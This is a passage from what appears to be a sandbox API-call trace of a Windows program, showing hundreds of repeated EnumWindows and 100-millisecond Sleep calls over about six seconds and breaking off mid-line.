[0198.395] Sleep (dwMilliseconds=0x64) [0198.396] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.396] Sleep (dwMilliseconds=0x64) [0198.398] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.398] Sleep (dwMilliseconds=0x64) [0198.399] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.399] Sleep (dwMilliseconds=0x64) [0198.401] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.401] Sleep (dwMilliseconds=0x64) [0198.402] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.403] Sleep (dwMilliseconds=0x64) [0198.404] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.404] Sleep (dwMilliseconds=0x64) [0198.405] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.406] Sleep (dwMilliseconds=0x64) [0198.407] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.407] Sleep (dwMilliseconds=0x64) [0198.408] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.409] Sleep (dwMilliseconds=0x64) [0198.410] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.410] Sleep (dwMilliseconds=0x64) [0198.411] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.412] Sleep (dwMilliseconds=0x64) [0198.413] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.413] Sleep (dwMilliseconds=0x64) [0198.414] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.415] Sleep (dwMilliseconds=0x64) [0198.416] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.416] Sleep (dwMilliseconds=0x64) [0198.417] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.418] Sleep (dwMilliseconds=0x64) [0198.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.473] Sleep (dwMilliseconds=0x64) [0198.523] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.523] Sleep (dwMilliseconds=0x64) [0198.525] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.525] Sleep (dwMilliseconds=0x64) [0198.526] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.527] Sleep (dwMilliseconds=0x64) [0198.528] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.528] Sleep (dwMilliseconds=0x64) [0198.529] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.530] Sleep (dwMilliseconds=0x64) [0198.531] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.531] Sleep (dwMilliseconds=0x64) [0198.532] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.533] Sleep (dwMilliseconds=0x64) [0198.534] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.534] Sleep (dwMilliseconds=0x64) [0198.535] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.536] Sleep (dwMilliseconds=0x64) [0198.537] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.537] Sleep (dwMilliseconds=0x64) [0198.538] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.539] Sleep (dwMilliseconds=0x64) [0198.540] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.540] Sleep (dwMilliseconds=0x64) [0198.542] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.542] Sleep (dwMilliseconds=0x64) [0198.543] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.543] Sleep (dwMilliseconds=0x64) [0198.546] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.546] Sleep (dwMilliseconds=0x64) [0198.571] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.571] Sleep (dwMilliseconds=0x64) [0198.605] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.605] Sleep (dwMilliseconds=0x64) [0198.678] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.678] Sleep (dwMilliseconds=0x64) [0198.680] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.680] Sleep (dwMilliseconds=0x64) [0198.682] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.682] Sleep (dwMilliseconds=0x64) [0198.683] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.683] Sleep (dwMilliseconds=0x64) [0198.685] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.686] Sleep (dwMilliseconds=0x64) [0198.687] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.687] Sleep (dwMilliseconds=0x64) [0198.689] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.689] Sleep (dwMilliseconds=0x64) [0198.690] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.690] Sleep (dwMilliseconds=0x64) [0198.694] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.695] Sleep (dwMilliseconds=0x64) [0198.696] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.697] Sleep (dwMilliseconds=0x64) [0198.698] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.698] Sleep (dwMilliseconds=0x64) [0198.798] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.799] Sleep (dwMilliseconds=0x64) [0198.800] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.800] Sleep (dwMilliseconds=0x64) [0198.802] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.803] Sleep (dwMilliseconds=0x64) [0198.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.806] Sleep (dwMilliseconds=0x64) [0198.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.808] Sleep (dwMilliseconds=0x64) [0198.809] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.809] Sleep (dwMilliseconds=0x64) [0198.811] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.811] Sleep (dwMilliseconds=0x64) [0198.813] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.813] Sleep (dwMilliseconds=0x64) [0198.815] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.815] Sleep (dwMilliseconds=0x64) [0198.817] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.817] Sleep (dwMilliseconds=0x64) [0198.819] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.819] Sleep (dwMilliseconds=0x64) [0198.821] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.821] Sleep (dwMilliseconds=0x64) [0198.823] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.823] Sleep (dwMilliseconds=0x64) [0198.824] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.825] Sleep (dwMilliseconds=0x64) [0198.826] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.826] Sleep (dwMilliseconds=0x64) [0198.828] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.828] Sleep (dwMilliseconds=0x64) [0198.830] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.830] Sleep (dwMilliseconds=0x64) [0198.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.832] Sleep (dwMilliseconds=0x64) [0198.833] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.833] Sleep (dwMilliseconds=0x64) [0198.834] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.835] Sleep (dwMilliseconds=0x64) [0198.837] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.837] Sleep (dwMilliseconds=0x64) [0198.839] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.839] Sleep (dwMilliseconds=0x64) [0198.841] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.841] Sleep (dwMilliseconds=0x64) [0198.844] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.844] Sleep (dwMilliseconds=0x64) [0198.845] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.846] Sleep (dwMilliseconds=0x64) [0198.848] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.848] Sleep (dwMilliseconds=0x64) [0198.850] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.850] Sleep (dwMilliseconds=0x64) [0198.851] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.852] Sleep (dwMilliseconds=0x64) [0198.853] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.853] Sleep (dwMilliseconds=0x64) [0198.855] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.855] Sleep (dwMilliseconds=0x64) [0198.856] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.857] Sleep (dwMilliseconds=0x64) [0198.859] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.860] Sleep (dwMilliseconds=0x64) [0198.861] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.861] Sleep (dwMilliseconds=0x64) [0198.863] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.863] Sleep (dwMilliseconds=0x64) [0198.865] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.865] Sleep (dwMilliseconds=0x64) [0198.866] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.867] Sleep (dwMilliseconds=0x64) [0198.868] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.868] Sleep (dwMilliseconds=0x64) [0198.870] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.870] Sleep (dwMilliseconds=0x64) [0198.873] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.873] Sleep (dwMilliseconds=0x64) [0198.876] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.876] Sleep (dwMilliseconds=0x64) [0198.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.877] Sleep (dwMilliseconds=0x64) [0198.879] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.879] Sleep (dwMilliseconds=0x64) [0198.880] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.881] Sleep (dwMilliseconds=0x64) [0198.882] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.882] Sleep (dwMilliseconds=0x64) [0198.884] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.884] Sleep (dwMilliseconds=0x64) [0198.886] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.886] Sleep (dwMilliseconds=0x64) [0198.887] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.888] Sleep (dwMilliseconds=0x64) [0198.899] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.899] Sleep (dwMilliseconds=0x64) [0198.901] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.901] Sleep (dwMilliseconds=0x64) [0198.902] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.903] Sleep (dwMilliseconds=0x64) [0198.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.904] Sleep (dwMilliseconds=0x64) [0198.906] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.907] Sleep (dwMilliseconds=0x64) [0198.908] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.908] Sleep (dwMilliseconds=0x64) [0198.910] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.910] Sleep (dwMilliseconds=0x64) [0198.912] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.912] Sleep (dwMilliseconds=0x64) [0198.914] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.914] Sleep (dwMilliseconds=0x64) [0198.916] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.916] Sleep (dwMilliseconds=0x64) [0198.918] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.919] Sleep (dwMilliseconds=0x64) [0198.920] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.921] Sleep (dwMilliseconds=0x64) [0198.922] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.922] Sleep (dwMilliseconds=0x64) [0198.924] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.924] Sleep (dwMilliseconds=0x64) [0198.925] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.926] Sleep (dwMilliseconds=0x64) [0198.928] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.928] Sleep (dwMilliseconds=0x64) [0198.931] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.931] Sleep (dwMilliseconds=0x64) [0198.932] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.933] Sleep (dwMilliseconds=0x64) [0198.934] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.935] Sleep (dwMilliseconds=0x64) [0198.937] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.937] Sleep (dwMilliseconds=0x64) [0198.939] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.940] Sleep (dwMilliseconds=0x64) [0198.941] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.941] Sleep (dwMilliseconds=0x64) [0198.943] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.943] Sleep (dwMilliseconds=0x64) [0198.944] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.944] Sleep (dwMilliseconds=0x64) [0198.946] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.946] Sleep (dwMilliseconds=0x64) [0198.947] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.947] Sleep (dwMilliseconds=0x64) [0198.952] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.952] Sleep (dwMilliseconds=0x64) [0198.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.955] Sleep (dwMilliseconds=0x64) [0198.957] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.957] Sleep (dwMilliseconds=0x64) [0198.958] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.958] Sleep (dwMilliseconds=0x64) [0198.960] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.960] Sleep (dwMilliseconds=0x64) [0198.962] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.962] Sleep (dwMilliseconds=0x64) [0198.963] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.963] Sleep (dwMilliseconds=0x64) [0198.965] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.965] Sleep (dwMilliseconds=0x64) [0198.966] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.966] Sleep (dwMilliseconds=0x64) [0198.968] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.968] Sleep (dwMilliseconds=0x64) [0198.969] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.971] Sleep (dwMilliseconds=0x64) [0198.973] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.974] Sleep (dwMilliseconds=0x64) [0198.975] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.975] Sleep (dwMilliseconds=0x64) [0198.977] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.977] Sleep (dwMilliseconds=0x64) [0198.979] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.979] Sleep (dwMilliseconds=0x64) [0198.981] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.981] Sleep (dwMilliseconds=0x64) [0198.982] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.982] Sleep (dwMilliseconds=0x64) [0198.984] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.984] Sleep (dwMilliseconds=0x64) [0198.985] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.985] Sleep (dwMilliseconds=0x64) [0198.987] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.987] Sleep (dwMilliseconds=0x64) [0198.988] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.988] Sleep (dwMilliseconds=0x64) [0198.990] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.990] Sleep (dwMilliseconds=0x64) [0198.992] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.993] Sleep (dwMilliseconds=0x64) [0198.994] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.995] Sleep (dwMilliseconds=0x64) [0198.997] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0198.997] Sleep (dwMilliseconds=0x64) [0199.103] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.103] Sleep (dwMilliseconds=0x64) [0199.105] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.105] Sleep (dwMilliseconds=0x64) [0199.107] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.107] Sleep (dwMilliseconds=0x64) [0199.152] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.152] Sleep (dwMilliseconds=0x64) [0199.178] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.178] Sleep (dwMilliseconds=0x64) [0199.336] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.336] Sleep (dwMilliseconds=0x64) [0199.361] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.361] Sleep (dwMilliseconds=0x64) [0199.362] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.362] Sleep (dwMilliseconds=0x64) [0199.446] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.446] Sleep (dwMilliseconds=0x64) [0199.470] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.470] Sleep (dwMilliseconds=0x64) [0199.505] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.505] Sleep (dwMilliseconds=0x64) [0199.609] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.609] Sleep (dwMilliseconds=0x64) [0199.736] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.737] Sleep (dwMilliseconds=0x64) [0199.763] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.764] Sleep (dwMilliseconds=0x64) [0199.904] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.904] Sleep (dwMilliseconds=0x64) [0199.970] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0199.970] Sleep (dwMilliseconds=0x64) [0200.198] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.199] Sleep (dwMilliseconds=0x64) [0200.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.250] Sleep (dwMilliseconds=0x64) [0200.728] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.728] Sleep (dwMilliseconds=0x64) [0200.782] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.783] Sleep (dwMilliseconds=0x64) [0200.785] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.785] Sleep (dwMilliseconds=0x64) [0200.787] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.787] Sleep (dwMilliseconds=0x64) [0200.789] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.789] Sleep (dwMilliseconds=0x64) [0200.790] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.790] Sleep (dwMilliseconds=0x64) [0200.803] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.803] Sleep (dwMilliseconds=0x64) [0200.805] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.805] Sleep (dwMilliseconds=0x64) [0200.807] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.807] Sleep (dwMilliseconds=0x64) [0200.808] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0200.808] Sleep (dwMilliseconds=0x64) [0200.827] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0201.786] Sleep (dwMilliseconds=0x64) [0201.881] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0201.881] Sleep (dwMilliseconds=0x64) [0201.940] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0201.940] Sleep (dwMilliseconds=0x64) [0201.976] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0201.977] Sleep (dwMilliseconds=0x64) [0201.978] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0201.978] Sleep (dwMilliseconds=0x64) [0202.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.043] Sleep (dwMilliseconds=0x64) [0202.126] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.127] Sleep (dwMilliseconds=0x64) [0202.160] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.160] Sleep (dwMilliseconds=0x64) [0202.162] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.162] Sleep (dwMilliseconds=0x64) [0202.164] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.164] Sleep (dwMilliseconds=0x64) [0202.175] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.175] Sleep (dwMilliseconds=0x64) [0202.177] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.177] Sleep (dwMilliseconds=0x64) [0202.179] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.179] Sleep (dwMilliseconds=0x64) [0202.180] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.180] Sleep (dwMilliseconds=0x64) [0202.182] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.182] Sleep (dwMilliseconds=0x64) [0202.250] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.251] Sleep (dwMilliseconds=0x64) [0202.327] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.328] Sleep (dwMilliseconds=0x64) [0202.473] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.473] Sleep (dwMilliseconds=0x64) [0202.578] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.579] Sleep (dwMilliseconds=0x64) [0202.643] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.643] Sleep (dwMilliseconds=0x64) [0202.831] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.831] Sleep (dwMilliseconds=0x64) [0202.877] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.877] Sleep (dwMilliseconds=0x64) [0202.923] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.924] Sleep (dwMilliseconds=0x64) [0202.956] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0202.956] Sleep (dwMilliseconds=0x64) [0203.023] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.024] Sleep (dwMilliseconds=0x64) [0203.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.025] Sleep (dwMilliseconds=0x64) [0203.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.028] Sleep (dwMilliseconds=0x64) [0203.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.030] Sleep (dwMilliseconds=0x64) [0203.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.032] Sleep (dwMilliseconds=0x64) [0203.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.034] Sleep (dwMilliseconds=0x64) [0203.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.035] Sleep (dwMilliseconds=0x64) [0203.036] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.036] Sleep (dwMilliseconds=0x64) [0203.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.038] Sleep (dwMilliseconds=0x64) [0203.039] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.039] Sleep (dwMilliseconds=0x64) [0203.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.041] Sleep (dwMilliseconds=0x64) [0203.066] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.067] Sleep (dwMilliseconds=0x64) [0203.088] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.089] Sleep (dwMilliseconds=0x64) [0203.112] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.113] Sleep (dwMilliseconds=0x64) [0203.201] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.201] Sleep (dwMilliseconds=0x64) [0203.203] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.203] Sleep (dwMilliseconds=0x64) [0203.205] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.205] Sleep (dwMilliseconds=0x64) [0203.209] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.210] Sleep (dwMilliseconds=0x64) [0203.213] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.213] Sleep (dwMilliseconds=0x64) [0203.217] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.217] Sleep (dwMilliseconds=0x64) [0203.220] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.221] Sleep (dwMilliseconds=0x64) [0203.224] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.224] Sleep (dwMilliseconds=0x64) [0203.226] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.226] Sleep (dwMilliseconds=0x64) [0203.241] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.894] Sleep (dwMilliseconds=0x64) [0203.898] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.899] Sleep (dwMilliseconds=0x64) [0203.955] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0203.955] Sleep (dwMilliseconds=0x64) [0204.014] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.014] Sleep (dwMilliseconds=0x64) [0204.017] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.017] Sleep (dwMilliseconds=0x64) [0204.019] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.019] Sleep (dwMilliseconds=0x64) [0204.020] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.021] Sleep (dwMilliseconds=0x64) [0204.022] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.023] Sleep (dwMilliseconds=0x64) [0204.024] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.024] Sleep (dwMilliseconds=0x64) [0204.025] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.026] Sleep (dwMilliseconds=0x64) [0204.027] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.027] Sleep (dwMilliseconds=0x64) [0204.028] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.029] Sleep (dwMilliseconds=0x64) [0204.030] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.030] Sleep (dwMilliseconds=0x64) [0204.032] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.032] Sleep (dwMilliseconds=0x64) [0204.033] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.033] Sleep (dwMilliseconds=0x64) [0204.035] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.035] Sleep (dwMilliseconds=0x64) [0204.037] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.037] Sleep (dwMilliseconds=0x64) [0204.038] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.039] Sleep (dwMilliseconds=0x64) [0204.040] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.040] Sleep (dwMilliseconds=0x64) [0204.041] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.042] Sleep (dwMilliseconds=0x64) [0204.043] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.043] Sleep (dwMilliseconds=0x64) [0204.072] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.073] Sleep (dwMilliseconds=0x64) [0204.221] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.221] Sleep (dwMilliseconds=0x64) [0204.228] EnumWindows (lpEnumFunc=0x423dd0, lParam=0x410000) [0204.234] Sleep (dwMilliseconds=0x64) [0204.322] EnumWindows (lpEnumFunc=0x423dd0, 